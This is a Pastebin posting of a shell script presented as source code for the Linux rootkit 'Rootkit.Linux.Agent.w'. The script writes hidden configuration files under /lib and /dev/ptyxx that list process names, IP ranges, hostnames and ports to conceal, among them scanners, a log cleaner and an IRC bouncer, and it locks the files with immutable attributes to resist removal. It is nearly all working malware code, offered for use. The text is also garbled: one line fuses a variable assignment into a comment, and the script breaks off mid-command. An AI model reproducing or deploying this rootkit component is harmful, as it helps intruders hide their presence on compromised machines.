Advertisement
FlyFar

Rootkit.Linux.Agent.w - Source Code

Jun 12th, 2023
731
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.52 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. # Script by xlogic for rootpr="/dev/ptyxx/.proc"
  3. ls="/dev/ptyxx/.list"
  4. ds="/dev/ptyxx/"
  5. sso="/lib/.sso"
  6. so="/lib/.so"
  7.  
  8. if [ -f $so ]; then
  9.  
  10. chattr -ai $so
  11. rm -rf $so
  12. touch $so
  13. >$so
  14. echo "3 write" >>$so
  15. echo "3 lf" >>$so
  16. echo "3 xl" >>$so
  17. echo "3 mh" >>$so
  18. echo "3 xbnc" >>$so
  19. echo "3 cl.sh" >>$so
  20. chmod +x $so
  21. chmod 755 $so
  22. chattr +ai $so
  23.  
  24. else
  25. >$so
  26. echo "3 write" >>$so
  27. echo "3 lf" >>$so
  28. echo "3 xl" >>$so
  29. echo "3 mh" >>$so
  30. echo "3 xbnc" >>$so
  31. echo "3 cl.sh" >>$so
  32. chmod +x $so
  33. chmod 755 $so
  34. chattr +ai $so
  35. fi
  36.  
  37. if [ -f $sso ]; then
  38. chattr -ai $sso
  39. rm -rf $sso
  40. touch $sso
  41. >$sso
  42. touch $sso
  43. >$sso
  44. echo "1 194.153.237" >>$sso
  45. echo "1 193.226" >>$sso
  46. echo "1 193.254.34" >>$sso
  47. echo "1 terrasat.ro" >>$sso
  48. echo "1 europa.oltenia.ro" >>$sso
  49. echo "1 193.230" >>$sso
  50. echo "3 951" >>$sso
  51. echo "3 981" >>$sso
  52. echo "3 436" >>$sso
  53. echo "4 436" >>$sso
  54. echo "4 951" >>$sso
  55. else
  56. touch $sso
  57. >$sso
  58. echo "1 194.153.237" >>$sso
  59. echo "1 193.226" >>$sso
  60. echo "1 193.254.34" >>$sso
  61. echo "1 terrasat.ro" >>$sso
  62. echo "1 europa.oltenia.ro" >>$sso
  63. echo "1 193.230" >>$sso
  64. echo "3 951" >>$sso
  65. echo "3 981" >>$sso
  66. echo "3 436" >>$sso
  67. echo "4 436" >>$sso
  68. echo "4 951" >>$sso
  69. echo "4 981" >>$sso
  70. chmod +x $sso
  71. chmod 755 $sso
  72. chattr +ai $sso
  73. fi
  74.  
  75. if [ -d $ds ] && [ -f $pr ];then
  76. chattr -ai $pr
  77. rm -rf $pr
  78. touch $pr
  79. >$pr
  80. echo "3 lf" >>$pr
  81. echo "3 xl" >>$pr
  82. echo "3 mh" >>$pr
  83. echo "3 xbnc" >>$pr
  84. echo "3 cl.sh" >>$pr
  85. chmod +x $pr
  86. chmod 755 $pr
  87. chattr +ai $pr
  88.  
  89. else
  90. mkdir -p $ds
  91.  
  92. touch $pr
  93. >$pr
  94. echo "3 lf" >>$pr
  95. echo "3 xl" >>$pr
  96. echo "3 mh" >>$pr
  97. echo "3 xbnc" >>$pr
  98. echo "3 cl.sh" >>$pr
  99. chmod +x $pr
  100. chmod 755 $pr
  101. chattr +ai $pr
  102. fi
  103.  
  104. if [ -f $ls ];then
  105.  
  106. chattr +ai $ls
  107. rm -rf $ls
  108.  
  109. touch $ls
  110. >$ls
  111. echo "xl" >>$ls
  112. echo "luckgo" >>$ls
  113. echo "luckstatdx" >>$ls
  114. echo "luckscan-a" >>$ls
  115. echo "games" >>$ls
  116. echo "xlogic" >>$ls
  117. echo "cl.sh" >>$ls
  118. echo "wu" >>$ls
  119. echo "va" >>$ls
  120. echo "xdr" >>$ls
  121. echo "bindme" >>$ls
  122. echo "bind8x" >>$ls
  123. echo "bindscan" >>$ls
  124. echo "drx" >>$ls
  125. echo "logclear" >>$ls
  126. echo "psg" >>$ls
  127. echo "read" >>$ls
  128. echo "secure" >>$ls
  129. echo "write" >>$ls
  130. chmod +x $ls
  131. chmod 755 $ls
  132. chattr +ai $ls
  133. else
  134. touch $ls
  135. >$ls
  136. echo "xl" >>$ls
  137. echo "luckgo" >>$ls
  138. echo "luckstatdx" >>$ls
  139. echo "luckscan-a" >>$ls
  140. echo "games" >>$ls
  141. echo "xlogic" >>$ls
  142. echo "cl.sh" >>$ls
  143. echo "wu" >>$ls
  144. echo "va" >>$ls
  145. echo "bindme" >>$ls
  146. echo "bind8x" >>$ls
  147. echo "bindscan" >>$ls
  148. echo "drx" >>$ls
  149. echo "logclear" >>$ls
  150. echo "psg" >>$ls
  151. echo "read" >>$ls
  152. echo "secure" >>$
Tags: Linux rootkit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement